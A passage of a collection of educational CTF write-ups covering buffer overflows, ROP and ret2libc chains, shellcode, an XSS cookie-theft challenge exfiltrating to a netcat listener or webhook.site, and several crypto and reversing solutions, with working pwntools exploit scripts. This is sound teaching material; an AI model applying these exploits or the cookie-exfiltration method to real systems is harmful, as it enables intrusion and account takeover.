you need to also have the proper parameters. Linux binaries 4 | follow System V calling conventions. Its important to remember that these are 5 | only conventions, and functions don't have to follow them (but any binary 6 | produced by a sensible compiler will). The first 6 integer/pointer parameters 7 | are passed in `rdi`,`rsi`,`rdx`,`rcx`,`r8`,`r9` in that order. Any more 8 | parameters are pushed onto the stack, to be popped by the function that is being 9 | called. 10 | 11 | ```python 12 | p = process('params') 13 | # buffer overflow to jump to get_flag 14 | payload = flat({72: e.sym['get_flag']}) 15 | p.sendline(payload) 16 | p.sendline('0') # junk value 17 | p.sendline('0') # junk value 18 | p.sendline(str(4)) # param 4 19 | p.sendline(str(0xdeadbeef)) # param 3 20 | p.sendline(str(0xcafebabe)) # param 2 21 | p.sendline(str(0x1337)) # param 1 22 | ``` 23 | 24 | [Further Reading: https://stackoverflow.com/questions/2535989/what-are-the-calling-conventions-for-unix-linux-system-calls-and-user-space-f](https://stackoverflow.com/questions/2535989/what-are-the-calling-conventions-for-unix-linux-system-calls-and-user-space-f) 25 | 26 | [Wikipedia Link: 27 | https://en.wikipedia.org/wiki/X86_calling_conventions](https://en.wikipedia.org/wiki/X86_calling_conventions#System_V_AMD64_ABI) 28 | -------------------------------------------------------------------------------- /reversing-xor.md: -------------------------------------------------------------------------------- 1 | # reversing-xor 2 | * **Event:** ForeverCTF 3 | * **Problem Type:** Crypto 4 | * **Point Value / Difficulty:** Easy 5 | * **(Optional) Tools Required / Used:** pwndbg 6 | 7 | ## Steps 8 | #### Step 1 9 | Log into a linux box and download the challenge. 10 | #### Step 2 11 | Open the program in gdb: `gdb xor` 12 | #### Step 3 13 | To see actually readable syntax instead of AT&T (which is really annoying and counterintuitive imo) type this: `set disassembly-flavor intel` 14 | #### Step 4 15 | Disassemble the main function: `disas main` 16 | #### Step 5 17 | Scroll down to the part where you see a `xor eax, 0x41`. If you look closely at the instructions, you will see that this piece of code is called repeatedly in a loop which means that we probably found the "encrpytion" loop. 18 | #### Step 6 19 | So now that we know that our encryption key is "0x41", we need to dump the encrypted flag and xor each byte with 0x41 to get the flag. 20 | #### Step 7 21 | We could try to extract the encrypted flag, but it is much easier to trash the binary and just xor the whole file with 0x41 and then run strings on the "decrypted" binary 22 | 23 | I used this python2 script modified from (here)[https://www.megabeets.net/xor-files-python/]: 24 | 25 | ``` 26 | import sys 27 | 28 | file1_b = bytearray(open(sys.argv[1], 'rb').read()) 29 | size = len(file1_b) 30 | 31 | # XOR between the files 32 | for i in range(size): 33 | file1_b[i] = file1_b[i] ^ 0x41 34 | 35 | # Write the XORd bytes to the output file 36 | open(sys.argv[2], 'wb').write(file1_b) 37 | ``` 38 | 39 | #### Step 8 40 | Run strings on the output of the script `strings out.bin`. Scroll up and find the flag. 41 | -------------------------------------------------------------------------------- /web-xss.md: -------------------------------------------------------------------------------- 1 | # NGPEW Feedback Form 2 | # Difficulty: Easy 3 | 4 | Prompt: I found this feedback form on NGPEW's website, but I'm not convinced that their admins are actually 5 | reading the feedback. In case they are, can you steal their cookies? I have a feeling there's something 6 | hidden there. 7 | 8 | From the prompt, it seems like we need to steal the admin's cookies somehow. By using the feedback form, we 9 | notice that the form seems to wait a few seconds, then responds with "An admin has reviewed your feedback." 10 | In addition, the website gives us a link to see the admin view of our feedback. 11 | 12 | Let's try putting in an HTML tag as our payload and looking at the admin view: 13 | `test` 14 | 15 | We see that the b tag was not filtered and is shown directly to the admin. This indicates that there is a 16 | Cross-Site Scripting (XSS) vulnerability. 17 | 18 | We can leak the admin's cookies by writing some JavaScript that sends `document.cookies` to some remote 19 | website. For example, I can log onto `skipper.cs.utexas.edu` and run `nc -l 3000`. This opens a TCP 20 | listener on port 3000, which I can then send an HTTP request to, since HTTP runs on TCP. Once I have this 21 | listener open, I can use the following payload to get JavaScript running on the admin view and leak the 22 | cookies to my remote server through an HTTP request: 23 | `````` 24 | 25 | Finally, the flag appears in my `nc` console. 26 | 27 | #### Option 2: 28 | - use webhook.site or any other service that can listen in 29 | - apply the payload as before with the updated address and the flag will appear in the get request 30 | -------------------------------------------------------------------------------- /pwn-shelly-sells-shells.md: -------------------------------------------------------------------------------- 1 | The binary uses gets to input up to 500 bytes, then executes them. While gets is 2 | unsafe, we cannot easily exploit it due to stack canaries. However, this doesn't 3 | matter since the binary is just executing the data we give it. That means that 4 | if we give it some code that creats a shell for us (often called shellcode), we 5 | can get the flag. The easiest way to get shellcode is just to copy it from 6 | online. pwntools includes tons of different types of shellcode. 7 | 8 | ```python 9 | from pwn import * 10 | context.binary = 'shellysellsshells' 11 | p = process('shellysellsshells') 12 | p.sendline(asm(shellcraft.sh())) 13 | p.interactive() 14 | ``` 15 | 16 | The `context.binary` is important so pwntools knows if we are using a 32 or 64 17 | bit binary, so it can select the right shellcode. 18 | 19 | The `shellcraft.sh()` call returns a string of assembly, so feel free to look at 20 | it to see how it works. If you ever need to write custom shellcode, the pwntools 21 | shellcode is often a good place to start. The `asm` function compiles the 22 | assembly into machine code. 23 | 24 | This sort of exploit only works if a feature called "NX" is disabled on the 25 | binary. We can check if NX is disabled by running `pwn checksec 26 | shellysellsshells` 27 | 28 | ``` 29 | Arch: amd64-64-little 30 | RELRO: Full RELRO 31 | Stack: Canary found 32 | NX: NX disabled 33 | PIE: PIE enabled 34 | RWX: Has RWX segments 35 | ``` 36 | 37 | If NX is enabled, the stack is marked as non executable. This means that even if 38 | we jump to code on the stack, the binary will refuse to run it. Because of this, 39 | shellcode can only really be used if the problem writer turned off NX. 40 | -------------------------------------------------------------------------------- /crypto-broadcast-attack.md: -------------------------------------------------------------------------------- 1 | This is susceptible to Hastad’s Broadcasting Attack, which occurs when the same message is sent to multiple people under the same small e. The basic idea is that m^e can be reconstructed using Chinese Remainder Theorem (CRT). 2 | 3 | For those of you who aren’t familiar with CRT, basically it solves a series of modular equations that look like this: 4 | 5 | x mod m1 = r1 6 | x mod m2 = r2 7 | x mod m3 = r3 8 | x mod m4 = r4 9 | etc. 10 | 11 | Obviously, multiple x exist, but they all differ by a factor of lcm(m1, m2, m3, …). CRT simply finds one such solution. 12 | 13 | In our case, we have m^e mod Ni = ci for all i. Since e is 3 instead of 65537, however, we can reasonably assume that the m^3 is also quite small, and we won’t have to try too many values after getting a solution from CRT. 14 | We can do CRT in Sage: 15 | ``` 16 | sage: N1=92654857070767571890017042106637703986449117869087364338047922606069735162919 17 | sage: c1=74597365847504917912916866838569123286395165031450770943853702985527537374325 18 | sage: N2=98572474388371800971130449337009030864118807314878868777502700832091542642841 19 | sage: c2=7392488009685177703766329111985085924328495872306844961776805115046085005730 20 | sage: N3=51501476121983355743052534942567218556170618226963749616587274414221577824191 21 | sage: c3=21070202880950860480001393449893080177749578386435659153510821967923393222435 22 | sage: crt([c1, c2, c3], [N1, N2, N3]) 23 | 5058351256155409529406238144471341438552104952261535456571653484803218406916802750051840009570104142357477131218431156591217085367440280037879937259877 24 | ``` 25 | 26 | The value returned by the crt function should be m^3. We can cube root it to get m (this is done in Sage since Sage will find the integer cube root if there is one; python will turn it into a float which has slight imprecision): 27 | ``` 28 | sage: 5058351256155409529406238144471341438552104952261535456571653484803218406916802750051840009570104142357477131218431156591217085367440280037879937259877^(1/3) 29 | 171660218614413278717581163768910141292412151293053 30 | ``` 31 | 32 | Then, we convert to a string in Python: 33 | ``` 34 | >>> from Crypto.Util.number import long_to_bytes 35 | >>> long_to_bytes(171660218614413278717581163768910141292412151293053) 36 | ``` 37 | -------------------------------------------------------------------------------- /crypto-stream-cipher.md: -------------------------------------------------------------------------------- 1 | Firstly, when we connect to the netcat, we are able to encrypt whatever messages we want provided we follow the length limit. Upon inspecting the source code, we see that our message is read and xor’ed by some bytes given by a function named “rc4”. 2 | 3 | rc4 is a type of stream cipher. Stream ciphers take a secret key and generate an infinite stream of pseudorandom bytes; this is usually used to create a symmetric encryption scheme by xoring messages with these bytes, similar to a one-time pad. In both of these, only people who have the original key can decrypt by xoring out the right bytes. 4 | 5 | However, note the part of the source that is marked by the comment. If you look up any standard implementation of rc4, you can notice that the initial state of the array is used in the xor bytes. This is bad, since it leaks all the information necessary to simulate the pseudorandom byte generation ourselves and recover the flag. 6 | 7 | Thus, we can encrypt a known message (all “A”s for example), and recover the first 255 bytes of the array. For the last byte, there are only 256 possible values of those, so we can feasibly try all of them and simulate what the resulting bytes would be. 8 | 9 | ``` 10 | from pwn import * 11 | 12 | enchex = open('message.txt', 'r').read() 13 | enc = [] 14 | for i in range(len(enchex)//2): 15 | enc.append(int(enchex[2*i:2*i+2], 16)) 16 | 17 | conn = remote('localhost', '9001') 18 | 19 | conn.recvline() 20 | conn.sendline('A'*255) 21 | s = conn.recvline() 22 | s = s[:-1] 23 | 24 | init_bytes = [] 25 | for i in range(255): 26 | init_bytes.append(ord('A') ^ int(s[2*i:2*i+2], 16)) 27 | 28 | def new_rc4(init, length): 29 | S = init 30 | out = [] 31 | 32 | for i in range(256): 33 | out.append(S[i]) 34 | 35 | i = j = 0 36 | while len(out) < length: 37 | i = ( i + 1 ) % 256 38 | j = ( j + S[i] ) % 256 39 | S[i] , S[j] = S[j] , S[i] 40 | out.append(S[(S[i] + S[j]) % 256]) 41 | 42 | return out 43 | 44 | for final_byte in range(256): 45 | rc4 = new_rc4(init_bytes + [final_byte], len(enc)) 46 | s = ''.join([chr(rc4[i] ^ enc[i]) for i in range(len(enc))]) 47 | if 'utflag' in s: 48 | print(s) 49 | break 50 | ``` 51 | 52 | -------------------------------------------------------------------------------- /crypto-hashing.md: -------------------------------------------------------------------------------- 1 | Looking at the source code, the hash looks relatively simplistic and reversible. In fact, this is a polynomial hash - which, although a hash, is not a cryptographic hash function (and thus not secure). 2 | 3 | Let’s look at what the hash will equal at each step in the for loop when we encrypt the bytes [1, 2, 3, 4, 5]: 4 | 5 | i=0: hash = 1 6 | 7 | i=1: hash = b\*(1)+2 = 1\*b + 2 8 | 9 | i=2: hash = b\*(1\*b + 2) + 3 = 1\*b^2 + 2\*b + 3 10 | 11 | i=3: hash = b\*(1\*b^2 + 2\*b + 3) + 4 = 1\*b^3 + 2\*b^2 + 3\*b + 4 12 | 13 | i=4: hash = b\*(1\*b^3 + 2\*b^2 + 3\*b + 4) + 5 = 1\*b^4 + 2\*b^3 + 3\*b^2 + 4b + 5 14 | 15 | (Notice how the coefficients are just the origiinal data values - his is why it is known as polynomial hash, and not cryptographically secure by any means.) 16 | 17 | Note that at any step, we have: 18 | 19 | new_hash = b*old_hash + flag[i] 20 | 21 | And thus, we can derive the following values, assuming we know b: 22 | 23 | flag[i] = new_hash%b 24 | 25 | old_hash = new_hash//b 26 | 27 | However, obviously we need to find which b was used to create the hash. If any message was hashed, this would be pretty hard. Fortunately, we know that flags always end in }, which has ascii code 125. Thus, we know that hash%b = 125. We can try values of b until one yields hash%b = 125, and attempt to reverse the hash that way. Since the flag also must start with utflag{, we can easily tell if the b we chose was correct. 28 | 29 | ``` 30 | h = 166645345105115875393235904068874575697290968472744761803553957459594486753568319 31 | b = 1 32 | while True: 33 | if h % b == 125: 34 | temp_h = h 35 | s = '' 36 | while temp_h > 0: 37 | if temp_h % b > 256: 38 | break 39 | s = chr(temp_h % b) + s 40 | temp_h //= b 41 | if 'utflag' in s: 42 | print(s) 43 | break 44 | b += 1 45 | ``` 46 | 47 | For those of you wondering why searching for b is feasible, notice that the hash is roughly proprtional to b^l, where l is the length of the flag. utflag{} is already 8 characters, and there’s definitely at least 2 characters in the flag, meaning the hash should be at least b^10. Taking hash^(1/10) yields roughly 100,000,000, which is a reasonable number of possible b’s to check (considering most can’t even pass the hash%b = 125 check). 48 | -------------------------------------------------------------------------------- /pwn-overflow.md: -------------------------------------------------------------------------------- 1 | To start with, we can dissasemble the program using the tool of your choice. 2 | Then, we can try to analyze main to see what it does. The dissasembly shown will 3 | be edited to only show the important parts. We see from the below line that the 4 | code sets some stack value at `[rbp-0x4]` to 0. 5 | 6 | ` 4011bc: c7 45 fc 00 00 00 00 mov DWORD PTR [rbp-0x4],0x0` 7 | 8 | We also see that the code branches on this value later on. Since it compares the 9 | value to zero, and skips `get_flag` if it is zero, we can assume that we want to 10 | change the stack value at `[rbp-0x4]` to some non zero value. 11 | 12 | ``` 13 | 4011e0: 83 7d fc 00 cmp DWORD PTR [rbp-0x4],0x0 14 | 4011e4: 74 0a je 4011f0 15 | 16 | ``` 17 | 18 | ``` 19 | 4011cf: 48 8d 45 90 lea rax,[rbp-0x70] 20 | 4011d3: 48 89 c7 mov rdi,rax 21 | 4011db: e8 a0 fe ff ff call 401080 22 | ``` 23 | 24 | We can see from this code that `gets` is called on a stack address of 25 | `[rbp-0x70]`. `gets` is a function that reads in user input from standard in to 26 | the memory address given until it hits a newline. However, this function is very 27 | unsafe. Thats because if we give it more data than the size of the buffer can 28 | hold, it will start overwriting other information. We can see that the buffer 29 | ranges from `[rbp-0x70]` inclusive to `[rbp-0x4]` exclusive. We know this 30 | because the parameter passed to `gets` is the start of the buffer, and it 31 | continues upwards until it gets to some other variable. 32 | 33 | ``` 34 | rbp-0x4: Integer variable 35 | rbp-0x5: Last byte of buffer 36 | rbp-0x6: Second to last byte of buffer 37 | ... 38 | rbp-0x6f: Second byte of buffer 39 | rbp-0x70: First byte of buffer 40 | ``` 41 | 42 | We then know that the buffer is `0x70 - 0x4 = 0x6c = 108` bytes long. That means 43 | that if we give it any more bytes than that it will overwrite `[rbp-0x4]`. If we 44 | send the program 109 bytes, it will overflow the integer variable and give us a 45 | shell. The simple way to do this is just give it a bunch of "A"s. Just connect 46 | to the netcat, and type in more than 108 letters, then press enter. It will 47 | change the value of the integer, causing the code to call `get_flag` and give 48 | you a shell. 49 | 50 | -------------------------------------------------------------------------------- /crypto-aes-ecb.md: -------------------------------------------------------------------------------- 1 | Although it’s impossible to take the output of the AES and directly decrypt it, we can notice in the source code that they are using ECB. ECB encrypts each block separately, without any use of the previous encryptions. However, since equal blocks will give the same output, this can be used to bruteforce the flag in this case. 2 | 3 | Since we are allowed to encrypt whatever message we want, suppose we encrypted 15 As. The message would look like this [spaces added to separate the blocks]: 4 | 5 | `AAAAAAAAAAAAAAA? ????????????????` 6 | 7 | Now, let’s say we encrypted 15 As, followed by a “guess” (marked by a *), followed by another 15 As: 8 | 9 | `AAAAAAAAAAAAAAA* AAAAAAAAAAAAAAA? ????????????????` 10 | 11 | By changing the guess to different characters, and checking if the resulting AES output has 2 matching blocks, we can successfully determine whether our guess was correct. 12 | 13 | As an example, let’s say the unknown message at the end is “Hello_World”, and we had our guess character as B. The two blocks would look like: 14 | 15 | `AAAAAAAAAAAAAAAB AAAAAAAAAAAAAAAH ello_World` 16 | 17 | Once encrypted, the blocks won’t match - signifying that our guess was incorrect. However, had we guessed H instead, we would have: 18 | 19 | `AAAAAAAAAAAAAAAH AAAAAAAAAAAAAAAH ello_World` 20 | 21 | Since these would encrypt to the same value, we would know our guess is correct. We could continue this process to the next letter by guessing 14 A’s, followed by H, the guess, and then another 14 A’s, yielding: 22 | 23 | `AAAAAAAAAAAAAAH* AAAAAAAAAAAAAAHe llo_World` 24 | Using this same strategy for the challenge, we can retrieve the flag: 25 | 26 | ``` 27 | from pwn import * 28 | 29 | flag = '' 30 | poss_chars = 'abcdefghijklmnopqrstuvwxyz0123456789_{}' 31 | conn = remote('localhost', '9001') 32 | while True: 33 | alen = (15-len(flag)%16)%16 34 | for guess in poss_chars: 35 | conn.recvline() 36 | guess_str = 'A'*alen+flag+guess+'A'*alen 37 | conn.sendline(guess_str) 38 | conn.recvline() 39 | s = conn.recvline() 40 | 41 | ind = (alen+len(flag))//16 42 | tar = s[ind*32: ind*32+32] 43 | matches = False 44 | for i in range(len(s)//32): 45 | if i != ind and tar == s[32*i:32*i+32]: 46 | matches = True 47 | 48 | if matches: 49 | flag += guess 50 | break 51 | print('Current Flag:', flag) 52 | if flag[-1] == '}': 53 | break 54 | print(flag) 55 | ``` 56 | -------------------------------------------------------------------------------- /reversing-angry.md: -------------------------------------------------------------------------------- 1 | You should watch huck's talk to learn how angr works (linked in the problem 2 | hint). The script below can be used for pretty much any basic angr problem. Just 3 | change the numbers to what you want for the problem. 4 | 5 | ```python 6 | #!/usr/bin/python3 7 | import angr 8 | import claripy 9 | from pwn import * 10 | 11 | # Our input is 100 ints, 4 bytes each 12 | FLAG_LEN = 4 * 100 13 | # Our binary is PIE, which means it can be loaded in at any base address 14 | # Use the same base address as whatever you are using for disassembly 15 | # So you can copy paste addresses 16 | base_addr = 0x4000000 17 | proj = angr.Project('./build/angry', main_opts={'base_addr': base_addr}) 18 | # We create a list of symbolic bytes, the same number as the length of our input 19 | # Ignore the 'flag_%d', we just have to name the symbolic bytes for debugging 20 | # purposes. It doesn't do anything 21 | flag_chars = [claripy.BVS('flag_%d' % i, 8) for i in range(FLAG_LEN)] 22 | # We then concatenate the symbolic bytes into a single symbolic variable 23 | flag = claripy.Concat( *flag_chars) 24 | # Use this if your input has to be a null terminated string 25 | #flag = claripy.Concat( *flag_chars + [claripy.BVV(b'\x00')]) 26 | # Use this if your input must end with a newline 27 | #flag = claripy.Concat( *flag_chars + [claripy.BVV(b'\n')]) 28 | # We then create our starting state 29 | state = proj.factory.full_init_state( 30 | add_options=angr.options.unicorn, 31 | args=['./build/angry'], 32 | # If you want your symbolic variable to be standard in 33 | stdin=flag, 34 | # If you want the symbolic variable to be a argument 35 | #args=['./a',flag], 36 | ) 37 | # When the file tries to print out the flag, angr will complain that the file 38 | #doesn't exist. We can create a symbolic file to stop this. It doesn't actually 39 | #matter in the end though, it just stops the warning 40 | simfile = angr.SimFile('flag.txt', content='utflag{test_test_test}\n') 41 | state.fs.insert('flag.txt', simfile) 42 | # Sometimes it is useful to constrain the symbolic variables, like if we know 43 | #they are ascii 44 | #for k in flag_chars: 45 | # state.solver.add(k >= ord('!')) 46 | # state.solver.add(k <= ord('~')) 47 | # Start the simulation 48 | simgr = proj.factory.simulation_manager(state) 49 | # Address of where we want to find (the bit where it prints the flag) 50 | find_addr = 0x04002661 51 | # Address of what we want to avoid (exit) 52 | avoid_addr = 0x040010f0 53 | # both find and avoid can be lists if you want to find/avoid multiple places 54 | # Let angr try to find our find_addr 55 | simgr.explore(find=find_addr, avoid=avoid_addr) 56 | # simgr.found is a list of states that got to where we wanted 57 | # if it is empty then angr couldn't find a way to get to the place we asked for 58 | if (len(simgr.found) > 0): 59 | for found in simgr.found: 60 | # print standard in so we can see what our solution is 61 | print(found.posix.dumps(0)) 62 | # If we were using command line args: 63 | #print(found.solver.eval(flag,cast_to=bytes)) 64 | ``` 65 | -------------------------------------------------------------------------------- /pwn-rop.md: -------------------------------------------------------------------------------- 1 | This program is very similiar to the param problem, but without the ability to 2 | set the values of the registers. Our goal is to call `get_flag` with the value 3 | 0x1337 in rdi, 0xcafebabe in rsi, and 0xdeadbeef in rdx. To set those registers 4 | we will use a technique called return oriented programming. This is based off 5 | short sequences of code that end with a `ret`, called gadgets. Lets say that we 6 | know that somewhere in the binary exists a section of code that looks like this: 7 | 8 | ``` 9 | pop rdi 10 | ret 11 | ``` 12 | 13 | We have full control of the stack from our buffer overflow. That means if we 14 | buffer overflow to jump to this gadget, the next value in our payload will be 15 | placed into rdi. This is because our payload is on the stack. That means the pop 16 | instruction will take the top value off the stack, which we control, and put it 17 | into `rdi`. We can use a tool called ROPgadget to find gadgets. For example, the 18 | problem has the below gadget included. 19 | 20 | `0x00000000004018ca : pop rdi ; ret` 21 | 22 | We could buffer overflow to jump to 0x4018ca, and the value we placed in our 23 | payload after the address would be put into rdi. While the problem requires 3 24 | registers to be set, it might be a good idea to do them one at a time and check 25 | that each register is being set properly with a debugger. For example, the 26 | payload 27 | 28 | `payload = b'A'*72 + p64(0x4018ca) + p64(0x1337) + p64(e.sym['get_flag'])` 29 | 30 | sets `rdi` to 0x1337. We can then combine multiple gadgets to create a "ROP 31 | chain". This works because each gadget ends with a `ret`, which means we can 32 | just keep returning to a new gadget at the end of each previous gadget. An 33 | example solution for the problem would be the one below 34 | 35 | ```python 36 | context.binary = 'rop' 37 | p = process('rop') 38 | e = ELF('rop') 39 | #simple solution 40 | #found using ROPGadget --binary rop 41 | #0x00000000004018ca : pop rdi ; ret 42 | #0x000000000040f48e : pop rsi ; ret 43 | #0x00000000004017cf : pop rdx ; ret 44 | chain = flat(0x4018ca,0x1337,0x40f48e,0xcafebabe,0x4017cf,0xdeadbeef,e.sym['get_flag']) 45 | payload = flat({72:chain}) 46 | p.sendline(payload) 47 | p.interactive() 48 | ``` 49 | 50 | This solution jumps to 3 gadgets, which each set a register. Then, it jumps to 51 | `get_flag` at the end. This then starts a shell, and we can just print the flag. 52 | 53 | pwntools has some advanced tools for ROP chain generation. Here are two 54 | alternative solutions using their tools 55 | 56 | ```python 57 | #fancy 58 | rop = ROP('rop') # we create a ROP object to start with 59 | rdi = rop.find_gadget(['pop rdi','ret'])[0] # rop.find_gadget searches the binary 60 | # for a gadget, and returns a list of found memory addresses. 61 | rsi = rop.find_gadget(['pop rsi','ret'])[0] 62 | rdx = rop.find_gadget(['pop rdx','ret'])[0] 63 | chain = flat(rdi,0x1337,rsi,0xcafebabe,rdx,0xdeadbeef,e.sym['get_flag']) 64 | payload = flat({72:chain}) 65 | 66 | #fanciest 67 | rop = ROP('rop') 68 | # The rop object can be used to make entire rop chains for us 69 | # It's smart enough to understand the calling conventions for the current arch 70 | rop.call('get_flag', [0x1337,0xcafebabe, 0xdeadbeef]) 71 | # rop.dump prints the rop chain in a human readable way for us to inspect 72 | print(rop.dump()) 73 | # rop.chain formats it for being sent to the binary 74 | payload = flat({72: rop.chain()}) 75 | ``` 76 | -------------------------------------------------------------------------------- /pwn-tricky-indices.md: -------------------------------------------------------------------------------- 1 | The program reads in the flag, then reads in some input from us. It then reads 2 | in two numbers, and prints the substring of our input from the first number to 3 | the second. C doesn't check bounds on arrays. This means that if you have two 4 | arrays next to each other, a negative index to the second array can end up in 5 | the first array. Here is a diagram that might make that simpler 6 | 7 | ``` 8 | Array 1's end | Array 2's beginning 9 | Index| 98| 99|100| 0| 1| 2| 10 | Array2[-1] goes here ^ 11 | ``` 12 | 13 | We can use this to print out the flag instead of our input. However, this only 14 | works if the two arrays are next to each other in memory. Stuff like this can 15 | be hard to predict, as the compiler can put variables in any order they want. 16 | However, you can normally find the memory layout by looking at the dissasembly. 17 | We know that the first argument to fgets is the address of the buffer to put the 18 | data into. We can generate dissasembly using a lot of tools, but for this 19 | writeup I'll be using `objdump -d`. Here is the relevant disassembly for fgets. 20 | 21 | ``` 22 | 40076d: 48 8d 85 20 ff ff ff lea rax,[rbp-0xe0] 23 | 400774: be 64 00 00 00 mov esi,0x64 24 | 400779: 48 89 c7 mov rdi,rax 25 | 40077c: e8 5f fe ff ff call 4005e0 26 | ``` 27 | 28 | We know that `rdi`, the first argument to fgets, is the location of the buffer. 29 | That means the flag buffer starts at `rbp-0xe0`. The length of the buffer is 30 | the second argument, in `esi`. Therefore, the buffer goes from `[rbp-0xe0, 31 | rbp-0xe0+0x64] = [rbp-0xe0,rbp-0x7c]`. You might notice that the start of the 32 | buffer is numerically less than the end. With arrays, the first element is 33 | always stored at the numerically smallest address. Next, we can find the address 34 | of our input. 35 | 36 | ``` 37 | 4007a8: 48 8d 45 90 lea rax,[rbp-0x70] 38 | 4007ac: 48 89 c6 mov rsi,rax 39 | 4007af: bf 1f 09 40 00 mov edi,0x40091f 40 | 4007b4: b8 00 00 00 00 mov eax,0x0 41 | 4007b9: e8 42 fe ff ff call 400600 <__isoc99_scanf@plt> 42 | ``` 43 | 44 | Again, `edi` is our first parameter (If you are confused why the parameter is 45 | `edi` instead of `rdi`, just remember that `edi` is the lower 32 bits of `rdi`. 46 | That means if we know our value will fit in 32 bits, there is no difference 47 | between using `edi` and `rdi`). This is the address of our format string. The 48 | one we care about this time is the second parameter, or `rsi`. We see that `rsi` 49 | is set to `rbp-0x70`. This is the start of our buffer. We don't actually know 50 | the length of the second buffer, but from earlier in the assembly we can find 51 | that its 100 again. That means that our second buffer is 52 | `[rbp-0x70,rbp-0x70+0x64] = [rbp-0x70,rbp-0xc]` We can summarize our findings in 53 | the diagram before. 54 | 55 | ``` 56 | rbp-0xc: Last byte of input 57 | rbp-0xd: Second to last byte of input 58 | ... 59 | rbp-0x6f: Second byte of input 60 | rbp-0x70: Start of our input 61 | rbp-0x71: Who knows 62 | ... 63 | rbp-0x7b: More random stuff 64 | rbp-0x7c: Last byte of the flag 65 | rbp-0x7d: Second to last byte of flag 66 | ... 67 | rbp-0xdf: Second byte of flag 68 | rbp-0xe0: First byte of flag 69 | ``` 70 | 71 | We can see that the difference between the first byte of our input and the first 72 | byte of the flag is `0x70 - 0xe0 = -112`. This means that if we input `-112,-12` 73 | to the program, it will print out the flag. 74 | -------------------------------------------------------------------------------- /pwn-ret2libc.md: -------------------------------------------------------------------------------- 1 | # ret2libc 2 | # Difficulty: Medium 3 | 4 | Assumption: Know about the PLT/GOT, basic stack overflows, basic ROP theory 5 | Ping me on discord (`garrettgu10#8125`) if you don't know these~! 6 | 7 | You might also find it helpful to take a look at this writeup for a very 8 | similar problem: 9 | https://github.com/utisss/ctf/tree/master/2020/ctf-10-16-2020/binary-shellcode2 10 | 11 | When we first load up the binary in pwntools, we find that the program has ASLR 12 | enabled, as well as NX, but does not use a stack canary. 13 | 14 | ``` 15 | [*] '/home/garrettgu/foreverctf/pwn-ret2libc/ret2libc' 16 | Arch: amd64-64-little 17 | RELRO: Partial RELRO 18 | Stack: No canary found 19 | NX: NX enabled 20 | PIE: No PIE (0x400000) 21 | ``` 22 | 23 | Our end goal is to call system() in the libc library. However, since our target 24 | program does not call system(), this means that the PLT does not contain an 25 | entry for system(). Looking at the symbol table, we see that there is a PLT 26 | entry for puts() and gets(), since these are the two only libc functions used 27 | by the vulnerable program. 28 | 29 | Of course, the entire libc library itself is mapped into the program's address 30 | space, but since we have ASLR enabled, the libc base address is subject to 31 | change. So we need to leak the libc address first. Our plan is to leak the 32 | address stored in the GOT for puts() (since our program already called it & 33 | thus populated its GOT entry) by faking a call to puts() through the PLT. This 34 | works since both the GOT and the PLT are linked statically within the target 35 | ELF file. 36 | 37 | By inspecting the source code using a tool like Ghidra or Cutter, we can see 38 | that the main function calls gets() on a stack address. Since there's no stack 39 | canary, this means that we can overwrite the return address. 40 | 41 | Using a process identical to the process in the writeup linked above, we find 42 | that inputting 56 filler bytes, followed by some 8-byte value replaces the 43 | return address with the value. 44 | 45 | We want to first leak the libc base. In order to do this, we call puts() 46 | through the PLT address, passing in the address to the GOT entry for puts(). 47 | Finally, we return to main, so we can put in another payload after leaking the 48 | libc base address. 49 | 50 | ```python 51 | poprdi = rop.find_gadget(["pop rdi", "ret"])[0] 52 | pltputs = 0x401050 53 | # hardcoded address since pwntools seems to have issues getting the plt address through the symbol table 54 | # you can find this address easily through the sidebar in Cutter, Ghidra, or by disassembling "puts" through objdump. 55 | conn.send(b' '*56 + p64(poprdi) + p64(e.got['puts']) + p64(pltputs) + p64(e.symbols['main']) + b'\n') 56 | ``` 57 | 58 | Once we leaked the puts address, we can call system(), by finding some location 59 | in the libc library that happens to contain the string "/bin/sh", popping an 60 | address to that string, then finally returning to the address of system(), 61 | offsetted by the libc base. Since libc requires RSP to be 16-byte aligned when 62 | entering the function, I ran into a segfault halfway through executing system(). 63 | This alignment issue can be fixed by adding a ROP gadget consisting only of 64 | "RET" to pad out the rsp. 65 | 66 | ```python 67 | libcoff = puts - libc.symbols['puts'] 68 | binsh = next(libc.search(b'/bin/sh')) + libcoff 69 | 70 | print(hex(libcoff)) 71 | 72 | conn.send(b' '*56 + p64(poprdi) + p64(binsh) + p64(ret) + p64(libcoff + libc.symbols['system']) + b'\n') 73 | 74 | conn.interactive() 75 | ``` 76 | 77 | The full solution code is available below. Please ping me on 78 | Discord (`garrettgu10#8125`)if any part of my writeup needs clarification ^^ 79 | ``` 80 | from pwn import * 81 | 82 | libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") 83 | e = ELF("ret2libc") 84 | 85 | rop = ROP(e) 86 | poprdi = rop.find_gadget(["pop rdi", "ret"])[0] 87 | ret = rop.find_gadget(["ret"])[0] 88 | 89 | pltputs = 0x401050 90 | 91 | conn = process("ret2libc") 92 | conn.recvline() 93 | 94 | conn.send(b' '*56 + p64(poprdi) + p64(e.got['puts']) + p64(pltputs) + p64(e.symbols['main']) + b'\n') 95 | 96 | conn.recvline() 97 | conn.recvline() 98 | 99 | leaked_puts = conn.recvline()[:-1] 100 | leaked_puts = leaked_puts + b'\x00' * (8 - len(leaked_puts)) 101 | 102 | puts = u64(leaked_puts) 103 | 104 | print(hex(puts)) 105 | 106 | libcoff = puts - libc.symbols['puts'] 107 | binsh = next(libc.search(b'/bin/sh')) + libcoff 108 | 109 | print(hex(libcoff)) 110 | 111 | conn.send(b' '*56 + p64(poprdi) + p64(binsh) + p64(ret) + p64(libcoff + libc.symbols['system']) + b'\n') 112 | 113 | conn.interactive() 114 | ``` 115 | -------------------------------------------------------------------------------- /pwn-canary-in-a-coal-mine.md: -------------------------------------------------------------------------------- 1 | This problem is based around stack canaries. You will notice that if you try to 2 | buffer overflow the problem like normal, you will get a message about stack 3 | smashing. This is due to the stack canary. We can see if a stack canary is 4 | enabled with the command `pwn checksec `. If a program is compiled with 5 | stack canaries enabled, the below snippets of assembly are added to the 6 | beginning and end of every function call 7 | 8 | ``` 9 | 401222: 64 48 8b 04 25 28 00 mov rax,QWORD PTR fs:0x28 10 | 40122b: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax 11 | ``` 12 | 13 | ``` 14 | 4012f8: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8] 15 | 4012fc: 64 48 33 04 25 28 00 xor rax,QWORD PTR fs:0x28 16 | 401305: 74 05 je 40130c 17 | 401307: 